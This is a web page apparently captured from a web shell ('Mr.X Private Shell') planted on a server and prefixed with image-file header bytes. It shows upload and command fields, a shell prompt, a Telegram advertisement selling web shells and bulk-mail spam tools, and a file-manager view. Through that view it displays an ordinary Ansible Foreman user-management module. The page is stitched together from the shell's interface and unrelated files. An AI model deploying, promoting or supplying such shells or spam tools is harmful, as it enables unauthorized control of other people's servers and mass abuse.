����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-
# (c) 2019 Christoffer Reijer (Basalt AB)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.

from __future__ import absolute_import, division, print_function
__metaclass__ = type


DOCUMENTATION = '''
---
module: user
version_added: 1.0.0
short_description: Manage Users
description:
  - Create, update, and delete users
author:
  - "Christoffer Reijer (@ephracis) Basalt AB"
options:
  login:
    aliases:
      - name
    description:
      - Name of the user
    required: true
    type: str
  firstname:
    description:
      - First name of the user
    required: false
    type: str
  lastname:
    description:
      - Last name of the user
    required: false
    type: str
  mail:
    description:
      - Email address of the user
      - Required when creating a new user
    required: false
    type: str
  description:
    description:
      - Description of the user
    required: false
    type: str
  admin:
    description:
      - Whether or not the user is an administrator
    required: false
    default: false
    type: bool
  user_password:
    description:
      - Password for the user.
      - When this parameter is set, the module will not be idempotent.
    required: false
    type: str
  default_location:
    description:
      - The location that the user uses by default
    required: false
    type: str
  default_organization:
    description:
      - The organizxation that the user uses by default
    required: false
    type: str
  auth_source:
    description:
      - Authentication source where the user exists
    required: false
    type: str
  timezone:
    description:
      - Timezone for the user
      - If blank it will use the browser timezone.
    required: false
    type: str
    choices:
      - 'International Date Line West'
      - 'American Samoa'
      - 'Midway Island'
      - 'Hawaii'
      - 'Alaska'
      - 'Pacific Time (US & Canada)'
      - 'Tijuana'
      - 'Arizona'
      - 'Chihuahua'
      - 'Mazatlan'
      - 'Mountain Time (US & Canada)'
      - 'Central America'
      - 'Central Time (US & Canada)'
      - 'Guadalajara'
      - 'Mexico City'
      - 'Monterrey'
      - 'Saskatchewan'
      - 'Bogota'
      - 'Eastern Time (US & Canada)'
      - 'Indiana (East)'
      - 'Lima'
      - 'Quito'
      - 'Atlantic Time (Canada)'
      - 'Caracas'
      - 'Georgetown'
      - 'La Paz'
      - 'Puerto Rico'
      - 'Santiago'
      - 'Newfoundland'
      - 'Brasilia'
      - 'Buenos Aires'
      - 'Greenland'
      - 'Montevideo'
      - 'Mid-Atlantic'
      - 'Azores'
      - 'Cape Verde Is.'
      - 'Dublin'
      - 'Edinburgh'
      - 'Lisbon'
      - 'London'
      - 'Monrovia'
      - 'UTC'
      - 'Amsterdam'
      - 'Belgrade'
      - 'Berlin'
      - 'Bern'
      - 'Bratislava'
      - 'Brussels'
      - 'Budapest'
      - 'Casablanca'
      - 'Copenhagen'
      - 'Ljubljana'
      - 'Madrid'
      - 'Paris'
      - 'Prague'
      - 'Rome'
      - 'Sarajevo'
      - 'Skopje'
      - 'Stockholm'
      - 'Vienna'
      - 'Warsaw'
      - 'West Central Africa'
      - 'Zagreb'
      - 'Zurich'
      - 'Athens'
      - 'Bucharest'
      - 'Cairo'
      - 'Harare'
      - 'Helsinki'
      - 'Jerusalem'
      - 'Kaliningrad'
      - 'Kyiv'
      - 'Pretoria'
      - 'Riga'
      - 'Sofia'
      - 'Tallinn'
      - 'Vilnius'
      - 'Baghdad'
      - 'Istanbul'
      - 'Kuwait'
      - 'Minsk'
      - 'Moscow'
      - 'Nairobi'
      - 'Riyadh'
      - 'St. Petersburg'
      - 'Tehran'
      - 'Abu Dhabi'
      - 'Baku'
      - 'Muscat'
      - 'Samara'
      - 'Tbilisi'
      - 'Volgograd'
      - 'Yerevan'
      - 'Kabul'
      - 'Ekaterinburg'
      - 'Islamabad'
      - 'Karachi'
      - 'Tashkent'
      - 'Chennai'
      - 'Kolkata'
      - 'Mumbai'
      - 'New Delhi'
      - 'Sri Jayawardenepura'
      - 'Kathmandu'
      - 'Almaty'
      - 'Astana'
      - 'Dhaka'
      - 'Urumqi'
      - 'Rangoon'
      - 'Bangkok'
      - 'Hanoi'
      - 'Jakarta'
      - 'Krasnoyarsk'
      - 'Novosibirsk'
      - 'Beijing'
      - 'Chongqing'
      - 'Hong Kong'
      - 'Irkutsk'
      - 'Kuala Lumpur'
      - 'Perth'
      - 'Singapore'
      - 'Taipei'
      - 'Ulaanbaatar'
      - 'Osaka'
      - 'Sapporo'
      - 'Seoul'
      - 'Tokyo'
      - 'Yakutsk'
      - 'Adelaide'
      - 'Darwin'
      - 'Brisbane'
      - 'Canberra'
      - 'Guam'
      - 'Hobart'
      - 'Melbourne'
      - 'Port Moresby'
      - 'Sydney'
      - 'Vladivostok'
      - 'Magadan'
      - 'New Caledonia'
      - 'Solomon Is.'
      - 'Srednekolymsk'
      - 'Auckland'
      - 'Fiji'
      - 'Kamchatka'
      - 'Marshall Is.'
      - 'Wellington'
      - 'Chatham Is.'
      - "Nuku'alofa"
      - 'Samoa'
      - 'Tokelau Is.'
  locale:
    description:
      - The language locale for the user
    required: false
    type: str
    choices:
      - 'ca'
      - 'de'
      - 'en'
      - 'en_GB'
      - 'es'
      - 'fr'
      - 'gl'
      - 'it'
      - 'ja'
      - 'ko'
      - 'nl_NL'
      - 'pl'
      - 'pt_BR'
      - 'ru'
      - 'sv_SE'
      - 'zh_CN'
      - 'zh_TW'
  roles:
    description:
      - List of roles assigned to the user
    required: false
    type: list
    elements: str
extends_documentation_fragment:
  - theforeman.foreman.foreman
  - theforeman.foreman.foreman.entity_state
  - theforeman.foreman.foreman.taxonomy
'''

EXAMPLES = '''
- name: Create a user
  theforeman.foreman.user:
    name: test
    firstname: Test
    lastname: Userson
    mail: test.userson@example.com
    description: Dr. Test Userson
    admin: false
    user_password: s3cret
    default_location: Test Location
    default_organization: Test Organization
    auth_source: Internal
    timezone: Stockholm
    locale: sv_SE
    roles:
      - Manager
    locations:
      - Test Location
    organizations:
      - Test Organization
    state: present

- name: Update a user
  theforeman.foreman.user:
    name: test
    firstname: Tester
    state: present

- name: Change password
  theforeman.foreman.user:
    name: test
    user_password: newp@ss

'''

RETURN = '''
entity:
  description: Final state of the affected entities grouped by their type.
  returned: success
  type: dict
  contains:
    users:
      description: List of users.
      type: list
      elements: dict
'''

from ansible_collections.theforeman.foreman.plugins.module_utils.foreman_helper import (
    ForemanTaxonomicEntityAnsibleModule,
)


# List of allowed timezones
timezone_list = [
    'International Date Line West',
    'American Samoa',
    'Midway Island',
    'Hawaii',
    'Alaska',
    'Pacific Time (US & Canada)',
    'Tijuana',
    'Arizona',
    'Chihuahua',
    'Mazatlan',
    'Mountain Time (US & Canada)',
    'Central America',
    'Central Time (US & Canada)',
    'Guadalajara',
    'Mexico City',
    'Monterrey',
    'Saskatchewan',
    'Bogota',
    'Eastern Time (US & Canada)',
    'Indiana (East)',
    'Lima',
    'Quito',
    'Atlantic Time (Canada)',
    'Caracas',
    'Georgetown',
    'La Paz',
    'Puerto Rico',
    'Santiago',
    'Newfoundland',
    'Brasilia',
    'Buenos Aires',
    'Greenland',
    'Montevideo',
    'Mid-Atlantic',
    'Azores',
    'Cape Verde Is.',
    'Dublin',
    'Edinburgh',
    'Lisbon',
    'London',
    'Monrovia',
    'UTC',
    'Amsterdam',
    'Belgrade',
    'Berlin',
    'Bern',
    'Bratislava',
    'Brussels',
    'Budapest',
    'Casablanca',
    'Copenhagen',
    'Ljubljana',
    'Madrid',
    'Paris',
    'Prague',
    'Rome',
    'Sarajevo',
    'Skopje',
    'Stockholm',
    'Vienna',
    'Warsaw',
    'West Central Africa',
    'Zagreb',
    'Zurich',
    'Athens',
    'Bucharest',
    'Cairo',
    'Harare',
    'Helsinki',
    'Jerusalem',
    'Kaliningrad',
    'Kyiv',
    'Pretoria',
    'Riga',
    'Sofia',
    'Tallinn',
    'Vilnius',
    'Baghdad',
    'Istanbul',
    'Kuwait',
    'Minsk',
    'Moscow',
    'Nairobi',
    'Riyadh',
    'St. Petersburg',
    'Tehran',
    'Abu Dhabi',
    'Baku',
    'Muscat',
    'Samara',
    'Tbilisi',
    'Volgograd',
    'Yerevan',
    'Kabul',
    'Ekaterinburg',
    'Islamabad',
    'Karachi',
    'Tashkent',
    'Chennai',
    'Kolkata',
    'Mumbai',
    'New Delhi',
    'Sri Jayawardenepura',
    'Kathmandu',
    'Almaty',
    'Astana',
    'Dhaka',
    'Urumqi',
    'Rangoon',
    'Bangkok',
    'Hanoi',
    'Jakarta',
    'Krasnoyarsk',
    'Novosibirsk',
    'Beijing',
    'Chongqing',
    'Hong Kong',
    'Irkutsk',
    'Kuala Lumpur',
    'Perth',
    'Singapore',
    'Taipei',
    'Ulaanbaatar',
    'Osaka',
    'Sapporo',
    'Seoul',
    'Tokyo',
    'Yakutsk',
    'Adelaide',
    'Darwin',
    'Brisbane',
    'Canberra',
    'Guam',
    'Hobart',
    'Melbourne',
    'Port Moresby',
    'Sydney',
    'Vladivostok',
    'Magadan',
    'New Caledonia',
    'Solomon Is.',
    'Srednekolymsk',
    'Auckland',
    'Fiji',
    'Kamchatka',
    'Marshall Is.',
    'Wellington',
    'Chatham Is.',
    "Nuku'alofa",
    'Samoa',
    'Tokelau Is.',
]

# List of allowed locales
locale_list = [
    'ca',
    'de',
    'en',
    'en_GB',
    'es',
    'fr',
    'gl',
    'it',
    'ja',
    'ko',
    'nl_NL',
    'pl',
    'pt_BR',
    'ru',
    'sv_SE',
    'zh_CN',
    'zh_TW',
]


class ForemanUserModule(ForemanTaxonomicEntityAnsibleModule):
    pass


def main():
    module = ForemanUserModule(
        foreman_spec=dict(
            login=dict(required=True, aliases=['name']),
            firstname=dict(required=False),
            lastname=dict(required=False),
            mail=dict(required=False),
            description=dict(required=False),
            admin=dict(required=False, type='bool', default=False),
            user_password=dict(required=False, no_log=True, flat_name='password'),
            default_location=dict(required=False, type='entity', resource_type='locations'),
            default_organization=dict(required=False, type='entity', resource_type='organizations'),
            auth_source=dict(required=False, type='entity'),
            timezone=dict(required=False, choices=timezone_list),
            locale=dict(required=False, choices=locale_list),
            roles=dict(required=False, type='entity_list'),
        ),
        entity_key='login',
    )

    with module.api_connection():
        entity = module.lookup_entity('entity')

        if not module.desired_absent:
            if 'mail' not in module.foreman_params:
                if not entity:
                    module.fail_json(msg="The 'mail' parameter is required when creating a new user.")
                else:
                    module.foreman_params['mail'] = entity['mail']

        module.run()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
activation_key.py File 16.46 KB 0644
architecture.py File 3.15 KB 0644
auth_source_ldap.py File 6.71 KB 0644
bookmark.py File 4.19 KB 0644
compute_attribute.py File 4.59 KB 0644
compute_profile.py File 7.7 KB 0644
compute_resource.py File 14.31 KB 0644
config_group.py File 2.48 KB 0644
content_credential.py File 2.62 KB 0644
content_export_info.py File 4.55 KB 0644
content_export_library.py File 3.59 KB 0644
content_export_repository.py File 3.28 KB 0644
content_export_version.py File 4.35 KB 0644
content_upload.py File 8.35 KB 0644
content_view.py File 11.42 KB 0644
content_view_filter.py File 10.21 KB 0644
content_view_filter_info.py File 2.36 KB 0644
content_view_filter_rule.py File 10.88 KB 0644
content_view_filter_rule_info.py File 2.81 KB 0644
content_view_info.py File 2.1 KB 0644
content_view_version.py File 10.81 KB 0644
content_view_version_info.py File 2.44 KB 0644
discovery_rule.py File 3.92 KB 0644
domain.py File 2.92 KB 0644
domain_info.py File 2.04 KB 0644
external_usergroup.py File 3.79 KB 0644
global_parameter.py File 4.9 KB 0644
hardware_model.py File 2.65 KB 0644
host.py File 18.48 KB 0644
host_collection.py File 2.6 KB 0644
host_errata_info.py File 3.32 KB 0644
host_info.py File 2.02 KB 0644
host_power.py File 4.16 KB 0644
hostgroup.py File 6.79 KB 0644
hostgroup_info.py File 2.09 KB 0644
http_proxy.py File 3.11 KB 0644
image.py File 3.93 KB 0644
installation_medium.py File 5.12 KB 0644
job_invocation.py File 6.65 KB 0644
job_template.py File 14.94 KB 0644
lifecycle_environment.py File 3.52 KB 0644
location.py File 4.09 KB 0644
operatingsystem.py File 7.33 KB 0644
organization.py File 3.19 KB 0644
organization_info.py File 2.13 KB 0644
os_default_template.py File 4.34 KB 0644
partition_table.py File 9.47 KB 0644
product.py File 4.04 KB 0644
provisioning_template.py File 11.04 KB 0644
puppet_environment.py File 2.29 KB 0644
puppetclasses_import.py File 3.93 KB 0644
realm.py File 2.59 KB 0644
redhat_manifest.py File 11.24 KB 0644
repository.py File 13.16 KB 0644
repository_info.py File 2.76 KB 0644
repository_set.py File 11.91 KB 0644
repository_set_info.py File 2.92 KB 0644
repository_sync.py File 2.52 KB 0644
resource_info.py File 4.99 KB 0644
role.py File 4.38 KB 0644
scap_content.py File 3.36 KB 0644
scap_tailoring_file.py File 3.44 KB 0644
scc_account.py File 5.67 KB 0644
scc_product.py File 3.64 KB 0644
setting.py File 3.56 KB 0644
setting_info.py File 2.03 KB 0644
smart_class_parameter.py File 10.45 KB 0644
smart_proxy.py File 6.02 KB 0644
snapshot.py File 5.07 KB 0644
snapshot_info.py File 2.47 KB 0644
status_info.py File 1.98 KB 0644
subnet.py File 8.91 KB 0644
subnet_info.py File 2.05 KB 0644
subscription_info.py File 2.22 KB 0644
subscription_manifest.py File 4.97 KB 0644
sync_plan.py File 5.86 KB 0644
templates_import.py File 6.1 KB 0644
user.py File 11.06 KB 0644
usergroup.py File 3.04 KB 0644